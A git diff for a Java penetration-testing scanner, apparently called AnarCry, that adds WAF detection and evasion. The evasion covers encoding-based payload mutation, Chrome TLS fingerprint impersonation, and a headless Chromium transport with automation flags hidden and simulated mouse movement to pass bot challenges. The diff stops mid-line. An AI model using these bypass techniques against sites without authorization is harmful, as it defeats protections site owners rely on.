diff --git a/README.md b/README.md index 58b93cc..ef44069 100644 --- a/README.md +++ b/README.md @@ -103,13 +103,13 @@ ```bash ./gradlew shadowJar -java -jar build/libs/anarcry-1.4.2.jar +java -jar build/libs/anarcry-1.5.0.jar ``` With `.env.local` for pre-configured targets: ```bash -java -jar build/libs/anarcry-1.4.2.jar --env .env.local +java -jar build/libs/anarcry-1.5.0.jar --env .env.local ``` --- @@ -334,6 +334,17 @@ ScanRunner.run(ScanContext) ## 09 - Changelog +### v1.5.0 + +- **WAF evasion engine**: WafState + WafEvasion in scanner/util/ -- 5 bypass strategies (DOUBLE_ENCODE, CASE_MUTATION, UNICODE_NORMALIZE, CHARSET_EBCDIC, HPP) +- **ScanRunner Phase 1.5**: automatic WAF probe between Crawler recon and scanner modules -- detects effective bypass strategy +- **Module integration**: SQLi, XSS, LFI, SSTI, CmdInjection, XXE apply evasion payloads transparently when WAF detected +- **HeadersModule WAF state**: marks shared WafState on 403 + WAF signature detection +- **Test harness**: 26 WAF tests (18 unit + 8 integration with mock WAF server) + +
+Previous releases (click to expand) + ### v1.4.2 - **CVE-enriched reports**: scan reports (MD, HackerOne, Bugcrowd) now include Known CVEs table per vulnerability class, sourced from the knowledge base @@ -376,6 +387,8 @@ ScanRunner.run(ScanContext) - Initial public release with 25 attack modules, CVSS v3.1 auto-scoring, HackerOne/Bugcrowd export, and TUI +
+ --- ## 10 - Ethical Use diff --git a/anarchrypto b/anarchrypto index a8343b6..875bbab 100755 --- a/anarchrypto +++ b/anarchrypto @@ -1,9 +1,13 @@ #!/bin/bash -JAR="$(dirname "$(realpath "$0")")/build/libs/anarcry-1.4.2.jar" +DIR="$(dirname "$(realpath "$0")")" SELF="$(realpath "$0")" -if [ ! -f "$JAR" ]; then - echo "AnarCry: JAR nao encontrado. Execute: ./gradlew shadowJar" +# Resolve version from build.gradle so the launcher never goes stale +VERSION=$(grep -oP "^version\s*=\s*'\K[^']+" "$DIR/build.gradle" 2>/dev/null || echo "") +JAR="$DIR/build/libs/anarcry-${VERSION}.jar" + +if [ -z "$VERSION" ] || [ ! -f "$JAR" ]; then + echo "AnarCry: JAR nao encontrado (v${VERSION:-?}). Execute: ./gradlew shadowJar" exit 1 fi @@ -21,7 +25,7 @@ if [ "$TUI_MODE" = true ]; then exec kitty \ --override initial_window_width=180c \ --override initial_window_height=82c \ - --title "AnarCry v1.4.2" \ + --title "AnarCry v${VERSION}" \ bash "$SELF" "$@" fi printf '\e[8;54;220t' diff --git a/build.gradle b/build.gradle index 2d442df..069b25d 100644 --- a/build.gradle +++ b/build.gradle @@ -8,7 +8,7 @@ plugins { } group = 'gg.effront' -version = '1.4.2' +version = '1.5.0' java { toolchain { @@ -23,7 +23,8 @@ repositories { dependencies { implementation 'com.googlecode.lanterna:lanterna:3.1.3' implementation 'org.bouncycastle:bcprov-jdk18on:1.80' - implementation 'org.bouncycastle:bctls-jdk18on:1.80' + implementation 'com.github.zhkl0228:impersonator-okhttp:1.11.0' + implementation 'com.microsoft.playwright:playwright:1.49.0' implementation 'com.google.code.gson:gson:2.11.0' // GUI (Swing + FlatLaf) @@ -39,6 +40,12 @@ dependencies { spotbugsPlugins 'com.h3xstream.findsecbugs:findsecbugs-plugin:1.13.0' } +processResources { + filesMatching('version.properties') { + expand(version: project.version) + } +} + shadowJar { archiveBaseName = 'anarcry' archiveVersion = version diff --git a/src/main/java/gg/effront/anarcry/Version.java b/src/main/java/gg/effront/anarcry/Version.java new file mode 100644 index 0000000..905fd30 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/Version.java @@ -0,0 +1,37 @@ +package gg.effront.anarcry; + +import java.io.InputStream; +import java.util.Properties; + +public final class Version { + + private static final String VERSION; + + static { + String v = "dev"; + try (InputStream is = Version.class.getResourceAsStream("/version.properties")) { + if (is != null) { + Properties p = new Properties(); + p.load(is); + v = p.getProperty("version", "dev"); + } + } catch (Exception ignored) { + } + VERSION = v; + } + + private Version() { + } + + public static String get() { + return VERSION; + } + + public static String label() { + return "AnarCry v" + VERSION; + } + + public static String userAgent() { + return "AnarCry/" + VERSION; + } +} diff --git a/src/main/java/gg/effront/anarcry/gui/AnarCryGui.java b/src/main/java/gg/effront/anarcry/gui/AnarCryGui.java index 4b464ad..c874cdb 100644 --- a/src/main/java/gg/effront/anarcry/gui/AnarCryGui.java +++ b/src/main/java/gg/effront/anarcry/gui/AnarCryGui.java @@ -1,6 +1,7 @@ package gg.effront.anarcry.gui; import gg.effront.anarcry.EnvLoader; +import gg.effront.anarcry.Version; import gg.effront.anarcry.gui.components.FindingDetailPanel; import gg.effront.anarcry.gui.components.FindingsTable; import gg.effront.anarcry.gui.components.GuiModulesPanel; @@ -49,7 +50,7 @@ public class AnarCryGui { - private static final String FRAME_TITLE = "AnarCry v1.3"; + private static final String FRAME_TITLE = Version.label(); private static final int FRAME_WIDTH = 1400; private static final int FRAME_HEIGHT = 950; private static final int MODULES_PANEL_WIDTH = 260; @@ -397,7 +398,8 @@ private JMenu buildHelpMenu() { JMenuItem about = new JMenuItem("About AnarCry"); about.addActionListener(e -> JOptionPane.showMessageDialog(frame, - "AnarCry v1.3\nSecurity Scanner\nAuthorized testing only.", "About", JOptionPane.INFORMATION_MESSAGE)); + Version.label() + "\nSecurity Scanner\nAuthorized testing only.", "About", + JOptionPane.INFORMATION_MESSAGE)); menu.add(about); return menu; diff --git a/src/main/java/gg/effront/anarcry/gui/views/RepeaterView.java b/src/main/java/gg/effront/anarcry/gui/views/RepeaterView.java index 0f65c0e..b134123 100644 --- a/src/main/java/gg/effront/anarcry/gui/views/RepeaterView.java +++ b/src/main/java/gg/effront/anarcry/gui/views/RepeaterView.java @@ -85,7 +85,7 @@ private JPanel buildRequestPanel() { JLabel headersLabel = new JLabel(" Headers (Key: Value, one per line):"); headersArea = new JTextArea(5, 40); headersArea.setFont(monoFont()); - headersArea.setText("User-Agent: AnarCry/1.2\nAccept: */*"); + headersArea.setText("User-Agent: " + gg.effront.anarcry.Version.userAgent() + "\nAccept: */*"); JScrollPane headersScroll = new JScrollPane(headersArea); headersScroll.setPreferredSize(new Dimension(0, 100)); diff --git a/src/main/java/gg/effront/anarcry/report/ReportEngine.java b/src/main/java/gg/effront/anarcry/report/ReportEngine.java index fded048..8043c0b 100644 --- a/src/main/java/gg/effront/anarcry/report/ReportEngine.java +++ b/src/main/java/gg/effront/anarcry/report/ReportEngine.java @@ -13,8 +13,11 @@ import java.time.LocalDate; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; +import java.util.ArrayList; import java.util.Comparator; +import java.util.LinkedHashMap; import java.util.List; +import java.util.Map; public class ReportEngine { @@ -75,17 +78,33 @@ private String buildMarkdown(List findings, String targetUrl, String ti sb.append("\n"); sb.append("## Details\n\n"); + Map> groups = new LinkedHashMap<>(); for (Finding f : findings) { - sb.append("### [").append(f.severity()).append("] ").append(f.title()).append("\n\n"); - sb.append("**Module:** ").append(f.module()).append(" \n"); - sb.append("**Endpoint:** ").append(f.endpoint()).append(" \n"); - sb.append("**Evidence:** ").append(f.evidence()).append(" \n"); - sb.append("**Impact:** ").append(f.impact()).append(" \n"); - sb.append("**Reproduction:**\n```\n").append(f.reproduction()).append("\n```\n"); - sb.append("**Recommendation:** ").append(f.recommendation()).append(" \n"); - sb.append("**CWE:** ").append(f.cweId()).append(" -- ").append(f.cweTitle()).append(" \n"); - sb.append("**CVSS v3.1:** ").append(f.cvssScore()).append(" (").append(f.cvssVector()).append(") \n"); - appendCves(sb, f.module()); + groups.computeIfAbsent(f.module() + "|" + f.title(), k -> new ArrayList<>()).add(f); + } + for (List group : groups.values()) { + Finding rep = group.getFirst(); + sb.append("### [").append(rep.severity()).append("] ").append(rep.title()).append("\n\n"); + sb.append("**Module:** ").append(rep.module()).append(" \n"); + if (group.size() == 1) { + sb.append("**Endpoint:** ").append(rep.endpoint()).append(" \n"); + sb.append("**Evidence:** ").append(rep.evidence()).append(" \n"); + } else { + sb.append("\n**Affected Endpoints (").append(group.size()).append("):**\n\n"); + sb.append("| Endpoint | Evidence |\n"); + sb.append("|----------|----------|\n"); + for (Finding f : group) { + sb.append("| ").append(escape(f.endpoint())).append(" | ").append(escape(f.evidence())) + .append(" |\n"); + } + sb.append("\n"); + } + sb.append("**Impact:** ").append(rep.impact()).append(" \n"); + sb.append("**Reproduction:**\n```\n").append(rep.reproduction()).append("\n```\n"); + sb.append("**Recommendation:** ").append(rep.recommendation()).append(" \n"); + sb.append("**CWE:** ").append(rep.cweId()).append(" -- ").append(rep.cweTitle()).append(" \n"); + sb.append("**CVSS v3.1:** ").append(rep.cvssScore()).append(" (").append(rep.cvssVector()).append(") \n"); + appendCves(sb, rep.module()); sb.append("\n---\n\n"); } return sb.toString(); diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanContext.java b/src/main/java/gg/effront/anarcry/scanner/ScanContext.java index c6a22d7..ca6b398 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanContext.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanContext.java @@ -1,37 +1,39 @@ package gg.effront.anarcry.scanner; import gg.effront.anarcry.model.RequestRecord; +import gg.effront.anarcry.scanner.util.WafState; import java.net.URI; import java.util.Set; import java.util.function.Consumer; public record ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules, - ScanConfig config, Consumer requestLog, DiscoveredPaths discoveredPaths) { + ScanConfig config, Consumer requestLog, DiscoveredPaths discoveredPaths, WafState wafState) { public ScanContext(String targetUrl, String jwtToken, Set enabledModules) { this(targetUrl, jwtToken, "", enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths()); + }, new DiscoveredPaths(), new WafState()); } public ScanContext(String targetUrl, String jwtToken, String jwtToken2, Set enabledModules) { this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths()); + }, new DiscoveredPaths(), new WafState()); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2) { this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), r -> { - }, new DiscoveredPaths()); + }, new DiscoveredPaths(), new WafState()); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2, Consumer requestLog) { - this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), requestLog, new DiscoveredPaths()); + this(targetUrl, jwtToken, jwtToken2, enabledModules, ScanConfig.defaults(), requestLog, new DiscoveredPaths(), + new WafState()); } public ScanContext(String targetUrl, String jwtToken, Set enabledModules, String jwtToken2, ScanConfig config, Consumer requestLog) { - this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, new DiscoveredPaths()); + this(targetUrl, jwtToken, jwtToken2, enabledModules, config, requestLog, new DiscoveredPaths(), new WafState()); } public String host() { diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java b/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java index 22a2319..b3680da 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanOrchestrator.java @@ -1,6 +1,7 @@ package gg.effront.anarcry.scanner; import gg.effront.anarcry.model.RequestRecord; +import gg.effront.anarcry.scanner.util.WafState; import java.util.LinkedHashSet; import java.util.Set; @@ -18,7 +19,7 @@ private ScanOrchestrator() { public static ScanContext buildContext(String target, String jwt, String jwt2, Set modules, Consumer requestLogCb) { ScanConfig cfg = new ScanConfig(0, "", Set.of(), SuppressionLoader.loadFromCwd(), ""); - return new ScanContext(target, jwt, jwt2, modules, cfg, requestLogCb, new DiscoveredPaths()); + return new ScanContext(target, jwt, jwt2, modules, cfg, requestLogCb, new DiscoveredPaths(), new WafState()); } public static ScanContext buildContext(String target, String jwt, String jwt2, Set modules) { diff --git a/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java b/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java index 6482f47..a63c732 100644 --- a/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java +++ b/src/main/java/gg/effront/anarcry/scanner/ScanRunner.java @@ -2,6 +2,10 @@ import gg.effront.anarcry.model.Finding; import gg.effront.anarcry.model.RequestRecord; +import gg.effront.anarcry.scanner.util.BrowserTransport; +import gg.effront.anarcry.scanner.util.HttpClientFactory; +import gg.effront.anarcry.scanner.util.StealthHttpClient; +import gg.effront.anarcry.scanner.util.WafEvasion; import gg.effront.anarcry.scanner.web.cors.CorsModule; import gg.effront.anarcry.scanner.web.crlf.CrlfModule; import gg.effront.anarcry.scanner.web.graphql.GraphQLModule; @@ -94,6 +98,7 @@ public void run(ScanContext ctx) { } catch (Exception e) { logCb.accept("[!] Scan falhou: " + e.getMessage()); } finally { + ctx.wafState().closeBrowserTransport(); onScanFinish.run(); } }); @@ -118,7 +123,7 @@ private void runScan(ScanContext origCtx) { } }; ScanContext ctx = new ScanContext(origCtx.targetUrl(), origCtx.jwtToken(), origCtx.jwtToken2(), - origCtx.enabledModules(), origCtx.config(), safeReqLog, origCtx.discoveredPaths()); + origCtx.enabledModules(), origCtx.config(), safeReqLog, origCtx.discoveredPaths(), origCtx.wafState()); List modules = new ArrayList<>(); if (ctx.has("TLS")) { modules.add(new TlsModule()); @@ -242,6 +247,99 @@ private void runScan(ScanContext origCtx) { eventCb.accept(new ScanEvent(ScanEvent.Type.MODULE_DONE, enricher.id(), moduleIndex, moduleCount)); } + // Phase 1.5: WAF detection + bypass + if (!ctx.wafState().isWafDetected()) { + safeLog.accept("[*] Phase 1.5: WAF detection probe em " + ctx.targetUrl()); + try { + java.net.http.HttpClient probeHc = HttpClientFactory.http2(); + String canary = java.net.URLEncoder.encode("", + java.nio.charset.StandardCharsets.UTF_8); + String probeUrl = ctx.targetUrl() + "?wafprobe=" + canary; + java.net.http.HttpRequest probeReq = java.net.http.HttpRequest.newBuilder() + .uri(java.net.URI.create(probeUrl)).timeout(java.time.Duration.ofSeconds(6)).GET().build(); + java.net.http.HttpResponse probeResp = probeHc.send(probeReq, + java.net.http.HttpResponse.BodyHandlers.ofString()); + String serverHdr = probeResp.headers().firstValue("Server").orElse(""); + String probeBody = probeResp.body() != null ? probeResp.body() : ""; + + // Check JS challenge first (Vercel/Cloudflare managed challenge) + if (WafEvasion.isJsChallenge(probeResp.statusCode(), probeResp.headers().map(), probeBody)) { + String challengeType = WafEvasion.detectChallengeType(probeResp.statusCode(), + probeResp.headers().map(), probeBody); + String product = WafEvasion.detectWafProduct(serverHdr); + ctx.wafState().markWafDetected(product.isEmpty() ? serverHdr : product); + ctx.wafState().markJsChallenge(challengeType); + safeLog.accept("[!] Phase 1.5: JS challenge detectado -- " + challengeType + " (HTTP " + + probeResp.statusCode() + ")"); + } else if (WafEvasion.isWafBlocked(probeResp.statusCode(), serverHdr, probeBody)) { + String product = WafEvasion.detectWafProduct(serverHdr); + ctx.wafState().markWafDetected(product.isEmpty() ? serverHdr : product); + safeLog.accept("[!] Phase 1.5: WAF detectado -- " + ctx.wafState().wafProduct() + " (HTTP " + + probeResp.statusCode() + ")"); + } else { + safeLog.accept("[+] Phase 1.5: nenhum WAF detectado"); + } + } catch (Exception e) { + safeLog.accept("[~] Phase 1.5: WAF detection falhou: " + e.getMessage()); + } + } + + if (ctx.wafState().isWafDetected()) { + if (ctx.wafState().isJsChallenge()) { + // JS challenge -- use headless Chromium as request transport + safeLog.accept("[*] Phase 1.5: ativando BrowserTransport (headless Chromium)..."); + BrowserTransport bt = BrowserTransport.create(ctx.targetUrl(), safeLog); + if (bt != null) { + ctx.wafState().setBrowserTransport(bt); + safeLog.accept("[+] Phase 1.5: JS challenge bypassado -- requests via Chromium headless"); + } else { + safeLog.accept("[-] Phase 1.5: BrowserTransport indisponivel"); + safeLog.accept("[*] Alternativa: abra o alvo no Chrome, copie os cookies e cole em Session Cookie"); + } + } else { + // WAF rule block -- try TLS fingerprint bypass + safeLog.accept("[*] Phase 1.5: TLS fingerprint bypass (Chrome JA3 + H2) em " + ctx.targetUrl()); + try { + String canary = java.net.URLEncoder.encode("", + java.nio.charset.StandardCharsets.UTF_8); + String stealthUrl = ctx.targetUrl() + "?wafprobe=" + canary; + java.net.http.HttpRequest stealthReq = java.net.http.HttpRequest.newBuilder() + .uri(java.net.URI.create(stealthUrl)).timeout(java.time.Duration.ofSeconds(6)).GET() + .build(); + java.net.http.HttpResponse stealthResp = StealthHttpClient.send(stealthReq); + String sHdr = stealthResp.headers().firstValue("Server").orElse(""); + String sBody = stealthResp.body() != null ? stealthResp.body() : ""; + if (!WafEvasion.isWafBlocked(stealthResp.statusCode(), sHdr, sBody)) { + ctx.wafState().markStealthActive(); + safeLog.accept("[+] Phase 1.5: TLS bypass efetivo -- Chrome JA3+H2 passa WAF (HTTP " + + stealthResp.statusCode() + ")"); + } else { + safeLog.accept( + "[-] Phase 1.5: TLS bypass insuficiente -- WAF bloqueia por regra, nao fingerprint" + + " (HTTP " + stealthResp.statusCode() + ")"); + } + } catch (Exception e) { + safeLog.accept("[~] Phase 1.5: stealth probe falhou: " + e.getMessage()); + } + + // Payload-level bypass strategies (complementar ao TLS) + safeLog.accept("[*] Phase 1.5: probing payload bypass strategies para " + ctx.wafState().wafProduct()); + try { + java.net.http.HttpClient probeHc = HttpClientFactory.http2(); + WafEvasion.Strategy effective = WafEvasion.probeStrategies(ctx, probeHc, ctx.targetUrl(), + "WafProbe", safeLog); + if (effective != null) { + ctx.wafState().markEffectiveStrategy(effective); + safeLog.accept("[+] WAF bypass: usando " + effective + " para modulos de payload"); + } else { + safeLog.accept("[-] WAF bypass: nenhuma estrategia de payload efetiva"); + } + } catch (Exception e) { + safeLog.accept("[!] WAF probe falhou: " + e.getMessage()); + } + } + } + // Phase 2: Scanner modules (parallel) int enricherCount = enrichers.size(); List> futures = new ArrayList<>(); diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/headers/HeadersModule.java b/src/main/java/gg/effront/anarcry/scanner/crypto/headers/HeadersModule.java index 645b158..bd13eca 100644 --- a/src/main/java/gg/effront/anarcry/scanner/crypto/headers/HeadersModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/headers/HeadersModule.java @@ -47,7 +47,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio conn.setConnectTimeout(5000); conn.setReadTimeout(10000); conn.setInstanceFollowRedirects(true); - conn.setRequestProperty("User-Agent", "AnarCry/1.1"); + conn.setRequestProperty("User-Agent", gg.effront.anarcry.Version.userAgent()); final Map> headers; final String evidence; @@ -71,6 +71,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio || server.toLowerCase().contains("awselb") || server.toLowerCase().contains("incapsula") || server.toLowerCase().contains("sucuri") || server.toLowerCase().contains("ddos-guard")); if (wafLikely) { + ctx.wafState().markWafDetected(server); log.accept("[!] HEADERS: HTTP 403 com Server: " + server + " -- possivel bloqueio por WAF, headers nao confiaveis"); findings.add( diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/hsts/HSTSModule.java b/src/main/java/gg/effront/anarcry/scanner/crypto/hsts/HSTSModule.java index 24c5c76..69e4339 100644 --- a/src/main/java/gg/effront/anarcry/scanner/crypto/hsts/HSTSModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/hsts/HSTSModule.java @@ -42,7 +42,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio conn.setInstanceFollowRedirects(false); conn.setConnectTimeout(5000); conn.setReadTimeout(8000); - conn.setRequestProperty("User-Agent", "AnarCry/1.1"); + conn.setRequestProperty("User-Agent", gg.effront.anarcry.Version.userAgent()); if (!ctx.jwtToken().isBlank()) { conn.setRequestProperty("Authorization", "Bearer " + ctx.jwtToken()); } @@ -99,7 +99,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio https.setInstanceFollowRedirects(true); https.setConnectTimeout(5000); https.setReadTimeout(8000); - https.setRequestProperty("User-Agent", "AnarCry/1.1"); + https.setRequestProperty("User-Agent", gg.effront.anarcry.Version.userAgent()); Map> headers; int status; @@ -112,6 +112,14 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio ctx.requestLog() .accept(new RequestRecord("GET", ctx.targetUrl(), status, 0, System.currentTimeMillis(), id())); + + if (ctx.wafState().isWafDetected() && (status == 403 || status == 406 || status == 429)) { + log.accept("[~] HSTS: HTTPS probe retornou HTTP " + status + + " de WAF -- findings HTTPS suprimidos (falso positivo)"); + log.accept("[+] HSTS: " + findings.size() + " finding(s)"); + return findings; + } + String evidence = "GET " + ctx.targetUrl() + " → HTTP " + status; String hstsVal = getHeader(headers, "Strict-Transport-Security"); diff --git a/src/main/java/gg/effront/anarcry/scanner/crypto/pqc/PqcModule.java b/src/main/java/gg/effront/anarcry/scanner/crypto/pqc/PqcModule.java index dbb0794..ea49010 100644 --- a/src/main/java/gg/effront/anarcry/scanner/crypto/pqc/PqcModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/crypto/pqc/PqcModule.java @@ -28,6 +28,8 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio String _cweTitle = CweRegistry.cweTitle(id()); String _cveVector = CweRegistry.cvssVector(id()); double _score = CvssCalculator.calculate(_cveVector); + String _infoVector = CvssCalculator.defaultVector(Severity.INFO); + double _infoScore = 0.0; List findings = new ArrayList<>(); if (!ctx.isHttps()) { @@ -59,7 +61,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio "TLS 1.3 é prerequisito para negociação de grupos pós-quânticos", "openssl s_client -connect " + host + ":" + port + " -tls1_3", "Habilitar grupos pós-quânticos (ex: X25519MLKEM768) para proteção futura", _cweId, _cweTitle, - _cveVector, _score)); + _infoVector, _infoScore)); } catch (Exception e) { log.accept("[!] PQC: TLS 1.3 não suportado: " + e.getMessage()); findings.add(Finding.of("PQC", host + ":" + port, "TLS 1.3 não suportado -- PQC indisponível", Severity.LOW, @@ -87,7 +89,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio "O servidor suporta troca de chaves resistente a computadores quânticos", "openssl s_client -connect " + host + ":" + port + " -groups X25519MLKEM768", "Manter suporte a X25519MLKEM768 e acompanhar padronização NIST PQC", _cweId, _cweTitle, - _cveVector, _score)); + _infoVector, _infoScore)); } catch (Exception e) { log.accept("[~] PQC: X25519MLKEM768 não suportado: " + e.getMessage()); findings.add( diff --git a/src/main/java/gg/effront/anarcry/scanner/util/BrowserTransport.java b/src/main/java/gg/effront/anarcry/scanner/util/BrowserTransport.java new file mode 100644 index 0000000..560e7a2 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/util/BrowserTransport.java @@ -0,0 +1,173 @@ +package gg.effront.anarcry.scanner.util; + +import com.microsoft.playwright.Browser; +import com.microsoft.playwright.BrowserContext; +import com.microsoft.playwright.BrowserType; +import com.microsoft.playwright.Page; +import com.microsoft.playwright.Playwright; +import com.microsoft.playwright.Response; + +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpHeaders; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Consumer; + +public final class BrowserTransport implements AutoCloseable { + + private static final int NAVIGATE_TIMEOUT_MS = 30_000; + private static final int FETCH_TIMEOUT_MS = 15_000; + private static final int PAGE_DEFAULT_TIMEOUT_MS = 20_000; + + private static final String FETCH_JS = """ + async ([url, method, headers, body, timeoutMs]) => { + try { + const ctrl = new AbortController(); + const timer = setTimeout(() => ctrl.abort(), timeoutMs); + const opts = { method, headers, redirect: 'follow', signal: ctrl.signal }; + if (body && method !== 'GET' && method !== 'HEAD') opts.body = body; + const r = await fetch(url, opts); + clearTimeout(timer); + const h = {}; + r.headers.forEach((v, k) => { h[k] = v; }); + return { s: r.status, h: h, b: await r.text() }; + } catch (e) { + return { err: e.message }; + } + } + """; + + private final Playwright pw; + private final Browser browser; + private final Page page; + private final String targetHost; + + public static BrowserTransport stub(String targetHost) { + return new BrowserTransport(null, null, null, targetHost); + } + + private BrowserTransport(Playwright pw, Browser browser, Page page, String targetHost) { + this.pw = pw; + this.browser = browser; + this.page = page; + this.targetHost = targetHost; + } + + public static BrowserTransport create(String targetUrl, Consumer log) { + try { + Class.forName("com.microsoft.playwright.Playwright"); + } catch (ClassNotFoundException e) { + log.accept("[!] Playwright nao disponivel no classpath"); + return null; + } + Playwright pw = null; + Browser browser = null; + try { + pw = Playwright.create(); + browser = pw.chromium().launch(new BrowserType.LaunchOptions().setHeadless(true).setArgs(List.of( + "--disable-blink-features=AutomationControlled", "--no-first-run", "--no-default-browser-check"))); + BrowserContext ctx = browser + .newContext(new Browser.NewContextOptions().setUserAgent(StealthHttpClient.CHROME_UA)); + Page page = ctx.newPage(); + page.setDefaultTimeout(PAGE_DEFAULT_TIMEOUT_MS); + + String host = URI.create(targetUrl).getHost(); + log.accept("[*] BrowserTransport: navegando para " + targetUrl); + Response resp = page.navigate(targetUrl, new Page.NavigateOptions().setTimeout(NAVIGATE_TIMEOUT_MS)); + int status = resp != null ? resp.status() : -1; + log.accept("[+] BrowserTransport: Chromium ready (HTTP " + status + ")"); + + return new BrowserTransport(pw, browser, page, host); + } catch (Exception e) { + if (browser != null) { + try { + browser.close(); + } catch (Exception ignored) { + } + } + if (pw != null) { + try { + pw.close(); + } catch (Exception ignored) { + } + } + String msg = e.getMessage(); + if (msg != null && msg.contains("Executable doesn't exist")) { + log.accept("[!] Chromium nao instalado. Execute:"); + log.accept(" java -cp com.microsoft.playwright.CLI install chromium"); + } else { + log.accept("[!] BrowserTransport falhou: " + (msg != null ? msg : e.getClass().getName())); + } + return null; + } + } + + public boolean isTargetHost(String url) { + try { + return targetHost.equalsIgnoreCase(URI.create(url).getHost()); + } catch (Exception e) { + return false; + } + } + + @SuppressWarnings("unchecked") + public synchronized HttpResponse fetch(HttpRequest req) throws IOException { + String url = req.uri().toString(); + String method = req.method(); + + Map headers = new LinkedHashMap<>(); + for (var entry : req.headers().map().entrySet()) { + String name = entry.getKey().toLowerCase(); + if (name.equals("host") || name.equals("connection") || name.startsWith("sec-")) { + continue; + } + if (!entry.getValue().isEmpty()) { + headers.put(entry.getKey(), String.join(", ", entry.getValue())); + } + } + + String body = ""; + if (req.bodyPublisher().isPresent()) { + byte[] bytes = StealthHttpClient.readBodyPublisher(req.bodyPublisher().get()); + body = new String(bytes, StandardCharsets.UTF_8); + } + + Object raw = page.evaluate(FETCH_JS, List.of(url, method, headers, body, FETCH_TIMEOUT_MS)); + if (raw == null) { + throw new IOException("browser fetch returned null for " + url); + } + var result = (Map) raw; + + if (result.containsKey("err")) { + throw new IOException("browser fetch: " + result.get("err")); + } + + int status = ((Number) result.get("s")).intValue(); + String responseBody = (String) result.get("b"); + var rawHeaders = (Map) result.get("h"); + Map> headerMap = new LinkedHashMap<>(); + if (rawHeaders != null) { + rawHeaders.forEach((k, v) -> headerMap.put(k, List.of(v))); + } + HttpHeaders jdkHeaders = HttpHeaders.of(headerMap, (k, v) -> true); + + return new StealthHttpClient.StealthResponse(status, responseBody, jdkHeaders, req.uri()); + } + + @Override + public void close() { + try { + browser.close(); + } catch (Exception ignored) { + } + try { + pw.close(); + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/gg/effront/anarcry/scanner/util/ChallengeSolver.java b/src/main/java/gg/effront/anarcry/scanner/util/ChallengeSolver.java new file mode 100644 index 0000000..88518f0 --- /dev/null +++ b/src/main/java/gg/effront/anarcry/scanner/util/ChallengeSolver.java @@ -0,0 +1,122 @@ +package gg.effront.anarcry.scanner.util; + +import java.util.List; +import java.util.function.Consumer; +import java.util.stream.Collectors; + +public final class ChallengeSolver { + + private static final int CHALLENGE_TIMEOUT_MS = 30_000; + private static final int NAV_TIMEOUT_MS = 15_000; + + public record Result(String cookies, String challengeType) { + } + + private ChallengeSolver() { + } + + public static boolean isAvailable() { + try { + Class.forName("com.microsoft.playwright.Playwright"); + return true; + } catch (ClassNotFoundException e) { + return false; + } + } + + public static Result solve(String targetUrl, Consumer log) { + if (!isAvailable()) { + log.accept("[!] Playwright nao disponivel no classpath"); + return null; + } + try { + return doSolve(targetUrl, log); + } catch (Exception e) { + String msg = e.getMessage(); + if (msg != null && msg.contains("Executable doesn't exist")) { + log.accept("[!] Chromium nao instalado. Execute:"); + log.accept(" java -cp com.microsoft.playwright.CLI install chromium"); + } else { + log.accept("[!] Challenge solver falhou: " + (msg != null ? msg : e.getClass().getName())); + } + return null; + } + } + + private static Result doSolve(String targetUrl, Consumer log) { + try (var pw = com.microsoft.playwright.Playwright.create()) { + var launchOpts = new com.microsoft.playwright.BrowserType.LaunchOptions().setHeadless(true).setArgs(List.of( + "--disable-blink-features=AutomationControlled", "--no-first-run", "--no-default-browser-check")); + + try (var browser = pw.chromium().launch(launchOpts)) { + var ctxOpts = new com.microsoft.playwright.Browser.NewContextOptions() + .setUserAgent(StealthHttpClient.CHROME_UA); + var ctx = browser.newContext(ctxOpts); + var page = ctx.newPage(); + + page.setDefaultTimeout(CHALLENGE_TIMEOUT_MS); + + log.accept("[*] Headless Chromium navegando para " + targetUrl); + var resp = page.navigate(targetUrl, + new com.microsoft.playwright.Page.NavigateOptions().setTimeout(NAV_TIMEOUT_MS)); + + if (resp == null) { + log.accept("[!] Navigate retornou null"); + return null; + } + + if (resp.status() != 403 && resp.status() != 503) { + log.accept("[+] Sem challenge (HTTP " + resp.status() + ")"); + return extractCookies(ctx, "none"); + } + + String title = page.title(); + if (!title.contains("Security Checkpoint") && !title.contains("Checking")) { + log.accept("[~] 403 sem challenge page -- WAF rule block, nao JS challenge"); + return null; + } + + log.accept("[*] JS challenge detectado (" + title + "), resolvendo..."); + + page.mouse().move(300, 400); + page.waitForTimeout(500); + page.mouse().move(520, 